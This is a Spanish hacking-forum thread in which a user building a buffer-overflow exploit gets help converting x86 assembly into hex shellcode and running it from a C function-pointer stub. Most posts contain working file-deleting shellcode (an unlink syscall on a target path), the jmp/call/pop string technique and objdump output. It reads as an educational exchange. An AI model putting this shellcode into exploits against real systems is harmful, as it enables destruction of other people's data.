elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Shellcode to HEX (BOF)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Shellcode to HEX (BOF)  (Leído 5,448 veces)
GGZ

Desconectado Desconectado

Mensajes: 144



Ver Perfil
Shellcode to HEX (BOF)
« en: 26 Enero 2017, 23:48 pm »

Hola a todos, estoy explotando un bof necesito una ayuda.

Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.

Código
  1. .section .data
  2. __archivo:
  3. .asciz "/home/httpd/test"  # Archivo a eliminar.
  4.  
  5. .section .text
  6. .global main
  7. main:
  8.        movl $10, %eax    
  9.        movl $__archivo, %ebx    
  10.        int  $0x80
  11.  
  12.        movl %eax, %ebx  
  13.        movl $1, %eax      
  14.        int  $0x80

Quiero pasar este código asm que borra un archivo a C tipo:

Código
  1. char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";
  2.  
  3. int main (void){
  4.  
  5.        int (*func)();
  6.        func = (int (*)())sc;
  7.        (int)(*func)();
  8. }


Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?

Probé hacerlo con objdump pero no funciona.

Saludos.


« Última modificación: 28 Enero 2017, 19:41 pm por GGZ » En línea

LET'S DO STUFF!!
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: ASM to HEX (BOF)
« Respuesta #1 en: 28 Enero 2017, 01:52 am »

Por lo que veo tienes la cadena en la sección data, y estas pasando la direccion en la shellcode. Porque no colocas la misma cadena al final de la sección text:

Código
  1. .section .text
  2. .global main
  3. main:
  4.  
  5. jmp __archivo
  6.  
  7. _salto:
  8.        movl $10, %eax    
  9.        popl %ebx
  10.        int  $0x80
  11.  
  12.        movl %eax, %ebx  
  13.        movl $1, %eax      
  14.        int  $0x80
  15.  
  16. __archivo:
  17.  
  18. call _salto
  19. .asciz "/home/httpd/test"  # Archivo a eliminar.

Miralo con el objdump, y copia los hex.

Un saludo.


En línea

GGZ

Desconectado Desconectado

Mensajes: 144



Ver Perfil
Re: ASM to HEX (BOF)
« Respuesta #2 en: 28 Enero 2017, 04:40 am »

Ya está lo solucioné haciendo esto:
Código
  1.    pushl $0x7478742e   # ".txt" (en orden inverso)
  2.    pushl $0x73656461   # "ades"
  3.    pushl $0x72672f2f    #  "//gr"
  4.    pushl $0x2f2f2e2e     # "..//"

Luego lo cargué a ebx esp.
Y después lo miré con el objdump.


Muchas gracias igual, me sirve para la próxima!
« Última modificación: 28 Enero 2017, 05:11 am por GGZ » En línea

LET'S DO STUFF!!
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: ASM to HEX (BOF)
« Respuesta #3 en: 28 Enero 2017, 16:35 pm »

Pero sabes el porque del fallo? Si desensamblas el ejecutable que creas con C y mira a que datos apunto el offset que pasas a ebx, ya que ni sera un offset valido.

Por ese motivo las shellcodes pasan path, de esa forma ya que no pueden depender de direcciones como data etc...

Un saludo.
« Última modificación: 28 Enero 2017, 16:38 pm por cpu2 » En línea

GGZ

Desconectado Desconectado

Mensajes: 144



Ver Perfil
Re: Shellcode to HEX (BOF)
« Respuesta #4 en: 28 Enero 2017, 19:42 pm »

Si lo aplico objdump a lo que me diste me tira esto:

Código
  1. s.o:     file format elf32-i386
  2.  
  3.  
  4. Disassembly of section .text:
  5.  
  6. 00000000 <main>:
  7.   0: eb 11                 jmp    13 <__archivo>
  8.  
  9. 00000002 <_salto>:
  10.   2: b8 0a 00 00 00       mov    $0xa,%eax
  11.   7: 5b                   pop    %ebx
  12.   8: cd 80                 int    $0x80
  13.   a: 89 c3                 mov    %eax,%ebx
  14.   c: b8 01 00 00 00       mov    $0x1,%eax
  15.  11: cd 80                 int    $0x80
  16.  
  17. 00000013 <__archivo>:
  18.  13: e8 ea ff ff ff       call   2 <_salto>
  19.  18: 2f                   das    
  20.  19: 68 6f 6d 65 2f       push   $0x2f656d6f
  21.  1e: 68 74 74 70 64       push   $0x64707474
  22.  23: 2f                   das    
  23.  24: 74 65                 je     8b <__archivo+0x78>
  24.  26: 73 74                 jae    9c <__archivo+0x89>
  25. ...
  26.  

O sea que:
  19:   68 6f 6d 65 2f          push   $0x2f656d6f
  1e:   68 74 74 70 64          push   $0x64707474

significa /home/httpd/test?, todavía no sé como armar la shellcode ahí, ¿copio todos esos hex? No lo creo.
A mi me quedó todo en una función mucho más prolijo y fácil de entender.

Mi shellcode quedó así:
Código
  1. .section .text
  2. .global main
  3. main:
  4.        xorl %eax,%eax
  5.        movl $10,%eax
  6.  
  7.        # Esta es la dirección del archivo a borrar.
  8.        pushl $0x7478742e
  9.        pushl $0x73656461
  10.        pushl $0x72672f2f
  11.        pushl $0x2f2f2e2e
  12.        movl %esp,%ebx
  13.  
  14.        int  $0x80
  15.  
  16.        movl %eax, %ebx # La salida se guarda en ebx
  17.        movl $1, %eax        # exit syscall
  18.        int  $0x80  # llamada al sistema.
  19.  


Lo que tengo entendido es que cuando se crea el objeto del source, éste no guarda las variables y yo estoy desamblando el objeto por eso no tengo las variables.
Saludos.
« Última modificación: 28 Enero 2017, 19:49 pm por GGZ » En línea

LET'S DO STUFF!!
xv0


Desconectado Desconectado

Mensajes: 1.027



Ver Perfil
Re: Shellcode to HEX (BOF)
« Respuesta #5 en: 28 Enero 2017, 20:49 pm »

¡
Código
  1. s.o:     file format elf32-i386
  2.  
  3.  
  4. Disassembly of section .text:
  5.  
  6. 00000000 <main>:
  7.   0: eb 11                 jmp    13 <__archivo>
  8.  
  9. 00000002 <_salto>:
  10.   2: b8 0a 00 00 00       mov    $0xa,%eax
  11.   7: 5b                   pop    %ebx
  12.   8: cd 80                 int    $0x80
  13.   a: 89 c3                 mov    %eax,%ebx
  14.   c: b8 01 00 00 00       mov    $0x1,%eax
  15.  11: cd 80                 int    $0x80
  16.  
  17. 00000013 <__archivo>:
  18.  13: e8 ea ff ff ff       call   2 <_salto>
  19.  18: 2f                   das    
  20.  19: 68 6f 6d 65 2f       push   $0x2f656d6f
  21.  1e: 68 74 74 70 64       push   $0x64707474
  22.  23: 2f                   das    
  23.  24: 74 65                 je     8b <__archivo+0x78>
  24.  26: 73 74                 jae    9c <__archivo+0x89>
  25. ...
  26.  

Lo que hay debajo del call es la cadena, cuando haces el call hace un push del offset a continuación del call, lo que significa que tienes un offset que apunta al principio de la cadena, los offset no son validos, ya que se toma como cadena, no se ejecutan.

Luego el pop del ebx, carga el offset del call, puedes hacerlo con los push y luego copiar el offset que seria lo mismo, que es lo que haces.

Si copia todo los obcode, nada mas, igual que lo tuya.

Saludos[
« Última modificación: 28 Enero 2017, 21:07 pm por cpu2 » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
.:. Shellcode 2 ASM .:. « 1 2 »
ASM
Garfield07 13 10,348 Último mensaje 3 Enero 2011, 20:31 pm
por Garfield07
Ejecutar shellcode en C
Programación C/C++
mester 3 2,640 Último mensaje 4 Marzo 2017, 13:51 pm
por integeroverflow
[MSF] Modificar un shellcode
Análisis y Diseño de Malware
4v1dy4 8 7,704 Último mensaje 15 Enero 2023, 00:28 am
por 4v1dy4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines